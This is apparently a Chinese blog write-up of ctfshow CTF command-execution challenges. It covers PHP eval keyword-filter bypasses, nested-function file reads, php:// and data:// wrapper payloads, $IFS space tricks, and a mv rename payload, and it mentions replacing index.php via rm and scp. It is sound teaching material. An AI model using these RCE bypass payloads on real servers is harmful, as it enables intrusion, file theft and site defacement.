ctfshow web入门 命令执行 特征及绕过技巧(部分)

远程命令执行(Remote Command Execution,RCE)

原理

  命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。

危险函数

  PHP代码相关

    eval()、assert()、preg_replace、call_user_func()、call_user_func_array()、create_function()、array_map()

  系统命令执行相关

    system()、passthru()、exec()、pcntl_exec()、shell_exec()、popen()、proc_open()、反引号(``)、ob_start()

 

绕过方式

  PHP代码执行绕过

    • 关键字绕过(字符拼接、数组拼接)
    • 函数嵌套:使用已知函数拼凑出所需的字符串
    • 伪协议:php://、data://
    • 参数嵌套逃逸:$_GET[]、$_POST[]
    • 替代函数
      • 直接显示文件内容函数:show_source()、highlight_file()

      • 读取文件内容函数:file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()

      • 无法直接读取文件函数:fpassthru()、fread()

      • 打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()

      • 执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})

  Linux命令执行绕过

    • 关键字绕过
      • ''、""、\
      • 通配符:?、*、[]
      • 替代命令:
        • 查看文件内容命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi
    • 空格绕过
      • <、<>
      • {}
      • %09(在 PHP 环境中的空格绕过,不属于 Linux 的空格绕过,为了方便,放在这里)
      • $IFS
    • 特殊方式
    • 无字母数字执行webshell

 

PHP代码执行绕过

  1、关键字绕过

    以 web30 为例

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

 

    源代码有两个关键函数,一个是正则表达式函数 preg_match() ,一个是危险函数 eval()

    preg_match() 作为黑名单,屏蔽关键字 flag、system、php

    eval() 则是获取 flag 的关键所在

    以 PHP代码 角度,我们一般想到的采用拼接方式绕过黑名单,还需要考虑是否使用函数绕过、函数替代

 

    (1)字符拼接

  我们获取 flag 需要执行的命令为

?c=system("cat flag.php");    //但这里有两个关键字被屏蔽

  我们需要先将这句代码进行处理,将其切割为几个字符串

?c='sys'.'tem("cat fl'.'ag.ph'.'p");'

  但将这个 payload 输入之后并没有反应,原因是 eval() 只是将这几个字符串拼接起来,并没有执行

  因此执行这串代码需要两步:1)拼接代码;2)执行代码 

  一个 eval() 执行一步,源代码本就有一个,所以还差一个 eval()

  这里并没有对 eval 屏蔽,我们自己添加一个 

?c=eval('sys'.'tem("cat fl'.'ag.ph'.'p");');

    

    (2)数组拼接

  原 payload

?c=system("cat flag.php");    //但这里有两个关键字被屏蔽

  进行处理,使其变成数组

?c=['sys','tem("cat fl','ag.ph','p");']

  但 eval() 无法执行数组,将数组转化成 str

?c=implode(['syst','em("tac fla','g.ph','p");'])

  执行这串代码还是分成两步:1)将数组转化成 str 类型;2)执行代码

  一个 eval() 执行一步,还差一个

?c=eval(implode(['syst','em("tac fla','g.ph','p");']));

 

   2、函数嵌套

    以 web31 为例

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

  这关可以使用数组拼接的方式,或者替代函数、替代命令方式,但有人从 PHP代码 角度以炫技的方式获取 flag

  步骤:1)获取文件名;2)根据文件名读取其内容

  关键函数 scandir() 

  scandir() 函数用于遍历并获取目录,      . 表示当前目录     .. 表示上级目录

?c=scand(.);    //遍历当前目录,结果为  .  ..  flag.php  index.php

  但  .  被屏蔽,我们需要找替代品,而 localeconv() 函数第一个值就为  . 

  但 localeconv() 是数组,我们又只需要第一个值,使用数组指针函数 pos()

?c=scandir(pos(localeconv()));    //获取的目录结构为:.  ..  flag.php  index.php

  我们只需要获取到 flag.php 文件名,其余不需要

  查看数组指针函数,好像没有返回第三位的值,或者倒数第二位的值,但这里时数组翻转一下就可以使用 next()

?c=next(array_reverse(scandir(pos(localeconv()))));    //翻转后数组为  index.php  flag.php  ..  .    使用 next() 返回第二位的值

  这下我们获取到了 flag.php 但也仅仅获取到了文件名而已

  使用 show_source() 读取文件内容

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));    //师傅们给出的 payload,想法奇特,学到很多

 

  3、伪协议

    ctf 中伪协议常用 php://filter、php://input

    以 web37 为例

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

  出现了关键函数 include() 属于文件包含函数

  一般出现文件包含函数就应该想到伪协议

 

payload

c=php://filter/read=convert.base64-encode/resource=flag.php    //由于屏蔽了 flag 所以 php://filter 不能使用

c=data://text/plain,<?=system('cat fl*')?>    // data:// 也可以

c=php://input

 

 

  4、参数嵌套逃逸

    以 web29 为例

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

  这里的黑名单检测只针对于 变量c ,我们再将另一个 变量1 赋予 变量c,这样就成参数嵌套,对于 变量1 时没有任何限制

  这与文件上传漏洞的上传一句话木马想法类似,都是利用服务器预定义变量 $_GET[]、$_POST[]

 

  payload

c=include $_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php    // include() 与伪协议组合

 

    以 web58 为例

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

  payload

 

 

 

Linux 命令执行绕过

   1、Linux关键字绕过:''    ""    \    ?    *    []

// linux 关键字绕过演示
//先创建 flag.txt 文件,内容如下



// 在关键字中添加 单引号
 
 
//在关键字中添加 双引号
 
//在关键字中添加 \

//通配符
//使用 ? 通配符
 
//使用 * 通配符
 
//使用 [] 通配符
// [] 不太一样,创建 123.php、234.php、334.php、434.php

//利用 [] 进行匹配

//但不如 ? 来的方便

 

   2、空格绕过

      <>、<、{}

      %09

      $IFS 比较特殊,可以使用{},后面可以接数字变量(只能一位)、\、通配符(可多位)、字符串(可多位)

        ${IFS}、$IFS$1、$IFS?、$IFS*、$IFS\、$IFS'fl'

//新建 flag.txt 文件,内容如下


//<


//<>


//{}

 


//$IFS
  //${IFS}


  //$IFS$2,数字任意,只能是一位,范围 1-9


  //$IFS\

 

  //$IFS?   可多位匹配


  //$IFS'fla'  字符串长度可一位,也可多位

 

   3、特殊方式

    1)wget、scp 远程下载文件

    2)cp、mv 对目标文件改名

      以 web54 为例

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

 

  黑名单有很多,看着挺狠的,这里使用 mv 偷梁换柱

  可能权限不够,不能使用 cp

  payload

//利用 mv 命令将 flag.php 改名,再读取
c=mv${IFS}fl?g.php${IFS}q.txt    
c=uniq${IFS}q.txt 

  3)rm 与 scp 组合

    用 rm 删除 index.php ,再用 scp 上传自己写的 index.php ,利用 web 站点默认文件名

    思路很新颖,出自 web54 的黑名单

 

  4、无字母数字执行webshell

    一般有两个思路:1)位运算;2)自增运算符

    在此贴上p神的文章

    无字母数字webshell之基础篇

    无字母数字webshell之提高篇

 

 

 
posted @ 2023-03-09 16:03  kazie  阅读(1594)  评论(0编辑  收藏  举报